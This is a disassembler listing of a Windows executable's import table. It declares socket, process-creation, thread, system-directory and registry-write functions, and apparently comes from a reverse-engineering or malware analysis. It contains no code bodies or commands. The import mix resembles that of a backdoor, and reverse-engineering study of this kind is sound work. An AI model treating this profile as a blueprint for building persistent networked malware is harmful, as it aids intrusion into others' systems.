.idata:0040A1E8     extrn __imp_accept:dword ; DATA XREF: accept•r
.idata:0040A1E8     ; Accept a connection on a socket
.idata:0040A1EC ; int __stdcall __imp_bind(SOCKET s,const struct sockaddr *name,int namelen)
.idata:0040A1EC     extrn __imp_bind:dword ; DATA XREF: bind•r
.idata:0040A1EC     ; Associate a local address with a socket
.idata:0040A1F0 ; int __stdcall __imp_closesocket(SOCKET s)
.idata:0040A1F0     extrn __imp_closesocket:dword ; DATA XREF: closesocket•r
.idata:0040A1F4 ; int __stdcall __imp_connect(SOCKET s,const struct sockaddr *name,int namelen)
.idata:0040A1F4     extrn __imp_connect:dword ; DATA XREF: connect•r
.idata:0040A1F8 ; struct hostent *__stdcall __imp_gethostbyname(const char *name)
.idata:0040A1F8     extrn __imp_gethostbyname:dword ; DATA XREF: gethostbyname•r
.idata:0040A1FC ; u_short __stdcall __imp_htons(u_short hostshort)
.idata:0040A1FC     extrn __imp_htons:dword ; DATA XREF: htons•r
.idata:0040A1FC     ; Convert a ushort from host to TCP/IP
network byte order
.idata:0040A200 ; unsigned __int32 __stdcall __imp_inet_addr(const char *cp)
.idata:0040A200     extrn __imp_inet_addr:dword ; DATA XREF: inet_addr•r
.idata:0040A200     ; Convert a string containing an
.idata:0040A200     ; IP-dotted address into an in_addr
.idata:0040A204 ; char *__stdcall __imp_inet_ntoa(struct in_addr in)
.idata:0040A204     extrn __imp_inet_ntoa:dword ; DATA XREF: inet_ntoa•r
.idata:0040A204     ; Convert a network address into a
.idata:0040A204     ; string in dotted format
.idata:0040A208 ; int __stdcall __imp_ioctlsocket(SOCKET s,__int32 cmd,u_long *argp)
.idata:0040A208     extrn __imp_ioctlsocket:dword ; DATA XREF: ioctlsocket•r
.idata:0040A208     ; Control the mode of a socket
.idata:0040A20C ; int __stdcall __imp_listen(SOCKET s,int backlog)
.idata:0040A20C     extrn __imp_listen:dword ; DATA XREF: listen•r
.idata:0040A20C     ; Establish a socket to listen
.idata:0040A20C     ; for an incoming connection
.idata:0040A210 ; int __stdcall __imp_recv(SOCKET s,char *buf,int len,int flags)
.idata:0040A210     extrn __imp_recv:dword ; DATA XREF: recv•r
.idata:0040A210     ; Receive data from a socket
.idata:0040A214 ; int __stdcall __imp_send(SOCKET s,const char *buf,int len,int flags)
.idata:0040A214     extrn __imp_send:dword ; DATA XREF: send•r
.idata:0040A214     ; Send data on a connected socket
.idata:0040A218 ; int __stdcall __imp_sendto(SOCKET s,const char *buf,int len,int flags,const
struct sockaddr *to,int tolen)
.idata:0040A218     extrn __imp_sendto:dword ; DATA XREF: sendto•r
.idata:0040A218     ; Send data to a specific destination
.idata:0040A21C ; SOCKET __stdcall __imp_socket(int af,int type,int protocol)
.idata:0040A21C     extrn __imp_socket:dword ; DATA XREF: socket•r
.idata:0040A21C     ; Create a socket which is bound to a
.idata:0040A21C     ; specific service provider
.idata:0040A220 ;
.idata:0040A224 ;
.idata:0040A228 ;
.idata:0040A228 ; Imports from KERNEL32.DLL
.idata:0040A228 ;
.idata:0040A228 ; void __stdcall __imp_ExitProcess(UINT uExitCode)
.idata:0040A228     extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcess•r
.idata:0040A22C ; void __stdcall __imp_ExitThread(DWORD dwExitCode)
.idata:0040A22C     extrn __imp_ExitThread:dword ; DATA XREF: ExitThread•r
.idata:0040A230 ; BOOL __stdcall __imp_GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode)
.idata:0040A230     extrn __imp_GetExitCodeThread:dword
.idata:0040A230     ; DATA XREF: GetExitCodeThread•r
.idata:0040A234 ; BOOL __stdcall __imp_CloseHandle(HANDLE hObject)
.idata:0040A234     extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandle•r
.idata:0040A238 ; UINT __stdcall __imp_GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
.idata:0040A238     extrn __imp_GetSystemDirectoryA:dword
.idata:0040A238     ; DATA XREF: GetSystemDirectoryA•r
.idata:0040A23C ; DWORD __imp_GetTickCount(void)
.idata:0040A23C     extrn __imp_GetTickCount:dword ; DATA XREF: GetTickCount•r
.idata:0040A240 ; DWORD __stdcall __imp_ResumeThread(HANDLE hThread)
.idata:0040A240     extrn __imp_ResumeThread:dword ; DATA XREF: ResumeThread•r
.idata:0040A244 ; void __imp_RtlUnwind(DWORD dwMilliseconds)
.idata:0040A244     extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwind•r
.idata:0040A248 ; void __stdcall __imp_Sleep(DWORD dwMilliseconds)
.idata:0040A248     extrn __imp_Sleep:dword ; DATA XREF: Sleep•r

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.idata:0040A24C ; DWORD __stdcall __imp_SuspendThread(HANDLE hThread)
.idata:0040A24C          extrn __imp_SuspendThread:dword ; DATA XREF: SuspendThread•r
.idata:0040A250 ; BOOL __stdcall __imp_TerminateThread(HANDLE hThread,DWORD dwExitCode)
.idata:0040A250          extrn __imp_TerminateThread:dword
.idata:0040A250          ; DATA XREF: TerminateThread•r
.idata:0040A254 ; BOOL __stdcall __imp_CreateProcessA(LPCSTR lpApplicationName,LPSTR
lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
.idata:0040A254          extrn __imp_CreateProcessA:dword
.idata:0040A254          ; DATA XREF: CreateProcessA•r
.idata:0040A258 ; HANDLE __stdcall __imp_CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,
LPDWORD lpThreadId)
.idata:0040A258          extrn __imp_CreateThread:dword ; DATA XREF: CreateThread•r
.idata:0040A25C
.idata:0040A260
.idata:0040A264 ;
.idata:0040A264 ; Imports from ADVAPI32.DLL
.idata:0040A264 ;
.idata:0040A264 ; LONG __stdcall __imp_RegCloseKey(HKEY hKey)
.idata:0040A264          extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKey•r
.idata:0040A268 ; LONG __stdcall __imp_RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,
REGSAM samDesired,PHKEY phkResult)
.idata:0040A268          extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExA•r
.idata:0040A26C ; LONG __stdcall __imp_RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved
,DWORD dwType,const BYTE *lpData,DWORD cbData)
.idata:0040A26C          extrn __imp_RegSetValueExA:dword
.idata:0040A26C          ; DATA XREF: RegSetValueExA•r
.idata:0040A270
.idata:0040A274
.idata:0040A278 ;
.idata:0040A278 ; Imports from CRTDLL.DLL
.idata:0040A278 ;
.idata:0040A278          extrn __imp__GetMainArgs:dword ; DATA XREF: __GetMainArgs•r
.idata:0040A27C          extrn __imp_remove:dword ; DATA XREF: remove•r
.idata:0040A280 ; int __cdecl __imp_strncmp(const char *,const char *)
.idata:0040A280          extrn __imp_strncmp:dword ; DATA XREF: _strncmp•r
.idata:0040A284          extrn __imp_atoi:dword ; DATA XREF: atoi•r
.idata:0040A288          extrn __imp_exit:dword ; DATA XREF: exit•r
.idata:0040A28C          extrn __imp_fclose:dword ; DATA XREF: fclose•r
.idata:0040A290          extrn __imp_fopen:dword ; DATA XREF: fopen•r
.idata:0040A294          extrn __imp_fprintf:dword ; DATA XREF: fprintf•r
.idata:0040A298          extrn __imp_free:dword ; DATA XREF: free•r
.idata:0040A29C          extrn __imp_fscanf:dword ; DATA XREF: fscanf•r
.idata:0040A2A0          extrn __imp_fwrite:dword ; DATA XREF: fwrite•r
.idata:0040A2A4          extrn __imp_malloc:dword ; DATA XREF: malloc•r
.idata:0040A2A8          extrn __imp_memset:dword ; DATA XREF: memset•r
.idata:0040A2AC          extrn __imp_raise:dword ; DATA XREF: raise•r
.idata:0040A2B0          extrn __imp_rand:dword ; DATA XREF: rand•r
.idata:0040A2B4          extrn __imp_signal:dword ; DATA XREF: signal•r
.idata:0040A2B8          extrn __imp_sprintf:dword ; DATA XREF: sprintf•r
.idata:0040A2BC          extrn __imp_srand:dword ; DATA XREF: srand•r
.idata:0040A2C0          extrn __imp_sscanf:dword ; DATA XREF: sscanf•r
.idata:0040A2C4          extrn __imp_strcat:dword ; DATA XREF: strcat•r
.idata:0040A2C8          extrn __imp_strchr:dword ; DATA XREF: strchr•r
.idata:0040A2CC          extrn __imp_strncmp:dword ; DATA XREF: strncmp•r
.idata:0040A2D0          extrn __imp_strncpy:dword ; DATA XREF: strncpy•r
.idata:0040A2D4          extrn __imp_strstr:dword ; DATA XREF: strstr•r
.idata:0040A2D8          extrn __imp_strtoul:dword ; DATA XREF: strtoul•r
.idata:0040A2DC
.idata:0040A2DC
.idata:0040A2DC
.idata:0040A2DC          end start

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